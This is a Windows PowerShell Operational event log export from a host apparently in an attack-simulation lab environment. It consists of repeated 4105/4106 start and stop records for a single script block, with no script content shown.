06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467397
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467396
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467395
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467394
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467393
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467392
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467391
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467390
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467389
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467388
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467387
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467386
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467385
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467384
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467383
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467382
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467381
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467380
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467379
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467378
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467377
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467376
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467375
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467374
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467373
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467372
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467371
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467370
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467369
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467368
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467367
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467366
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467365
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467364
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467363
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467362
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467361
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467360
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467359
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467358
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467357
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467356
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467355
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467354
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467353
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467352
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467351
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467350
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467349
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467348
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467347
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467346
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467345
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467344
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467343
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467342
Keywords=None
